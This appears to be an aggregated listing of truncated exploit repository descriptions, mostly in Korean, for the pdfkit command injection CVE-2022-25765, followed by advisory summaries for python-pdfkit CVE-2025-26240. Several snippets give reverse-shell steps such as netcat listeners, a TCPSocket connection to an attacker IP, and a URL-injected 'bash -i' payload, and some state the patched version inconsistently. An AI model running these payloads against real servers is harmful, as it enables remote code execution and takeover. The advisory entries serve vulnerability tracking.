CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL을 통해 굵게 표시된 값 수정: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 명령 삽입command injection. pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. 참고: 이 문제는 0.8.7.2에서 패치되었지만, 해당 패치는 효과가 없는 것으로 밝혀졌습니다. 업데이트된 패치 버전은 0.8.7.2입니다. PoC HTTP 서버 시작 python3 -m http.server 80 netcat 리스너 시작 nc -nlvp 4444 CURL로 요청...

PDFKitExploit

이 저장소에는 README가 없습니다...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit용 익스플로잇 - 명령 삽입 이 저장소가 마음에 드시나요? ⭐를 남겨주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 저자 @UNICORDev 제작 @NicPWNs 및 @Dev-Yeoj 취약점 설명 pdfkit 패키지0.0.0부터는 URL이 제대로 삭제샌니타이즈되지 않아 명령 삽입Command Injection에 취약합니다. 익스플로잇 설명 루비 젬 pdfkit은 웹사이트 또는 HTML을 PDF 문서로 변환하는 데 일반적으로 사용됩니다. 이 소프트웨어의 취약한 버전...

CVE-2022-25765

CVE-2022-25765 익스플로잇 CVE-2022-25765, PDFKit-CMD-Injection에 대한 작은 PoC 익스플로잇 사용법 1. 공격 머신에서 netcat 리스너를 시작합니다: nc -lvnp 4444 2. 익스플로잇을 실행합니다: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 예시: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444 매개변수: -t,...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 상세 설명 0.0.0 버전부터의 pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. PoC HTTP 서버 시작 1- python3 -m http.server 80 netcat 리스너 시작 2- nc -lnvp 'Target Port' 요청 만들기 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

CVE-2022-25765

CVE-2022-25765 — pdfkit CVE-2022-25765 에 대한 PoC로, 취약한 버전의 pdfkit에 영향을 미칩니다. pdfkit 0.8.6 에서 테스트되었습니다. 요구 사항 Python 3.x requests colorama 의존성 설치: pip3 install -r requirements.txt 또는 수동으로: pip3 install requests colorama 사용법 python3 exploit2.py -u -l -p 예시: 리스너 실행 nc -lvnp 4242 python3 exploit2.py -...

CVE-2022-25765-exploit

CVE-2022-25765 — pdfkit의 명령 주입 설명 CVE-2022-25765 는 pdfkit Ruby gem 버전 0.8.7.2에 영향을 주는 명령 주입Command Injection 취약점입니다. 이 취약점은 인증 없이 원격으로 명령을 실행할 수 있으므로 CVSS 9.8의 치명적CRITICAL 심각도를 가집니다. 문제는 pdfkit이 url 매개변수를 샌니타이즈 없이 셸에 직접 전달한다는 점입니다. 이 라이브러리는 내부적으로 wkhtmltopdf를 다음 명령과 유사하게 실행합니다: system"wkhtmltopdf...

CVE-2025-26240

CVE-2025-26240 이것은 pdfkit fromstring 메서드의 익스플로잇을 위한 개념 증명 코드입니다. 간단한 페이로드가 포함되어 있으며, LFI와 SSRF를 모두 보여줍니다...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 CVE-2022-25765 pdfkit 0.8.6의 명령 삽입Command Injection에 대한 익스플로잇 취약점에 대한 자세한 내용은 여기에서 확인하세요. PoC 호스트에서 netcat을 실행하세요: $ nc -lvnp 1337 익스플로잇 실행 예시: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost Input...

CVE-2025-26240

A flaw was found in python-pdfkit. The fromstring method allows an attacker to execute JavaScript code within the server application's context. This can lead to the exfiltration of local files, potentially compromising sensitive information. Mitigation To reduce exposure, avoid processing untrust...

CLSA-2026-1772496734 TuxCare security update for pdfkit (1 CVE)

TuxCare rebuilt pdfkit to address 1 CVE. Fixed in 0.6.1.post1+tuxcare...

PYSEC-2026-2860 pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

PT-2026-59498

In JazzCore python-pdfkit 1.0.0, the from string method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

Linux Distros Unpatched Vulnerability : CVE-2025-26240

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltratio...

Buffer Overflow

Overview pdfkit is a Wkhtmltopdf python wrapper to convert html to pdf using the webkit rendering engine and qt Affected versions of this package are vulnerable to Buffer Overflow via the fromstring function. An attacker can execute arbitrary JavaScript code within the server application context...

GHSA-9G3X-6X24-VF9F pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

a2grunnerp (>=0.1.0, <=0.1.8), agentfoundry (>=1.3.9, <=1.5.86) +221 more potentially affected by CVE-2025-26240 via pdfkit (>=0.6.0, <=1.0.0)

pdfkit PYPI version =0.6.0, =0.1.0, =1.3.9, =1.2.0, =1.1.3, =0.1.35, =0.1.0, =0.1.0, =0.0.1, =0.0.1, =0.5.3, =0.5.5, =0.1.17, =0.1.23 and more Source cves: CVE-2025-26240 Source advisory: SNYK:PYTHON-PDFKIT-17391903...

pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...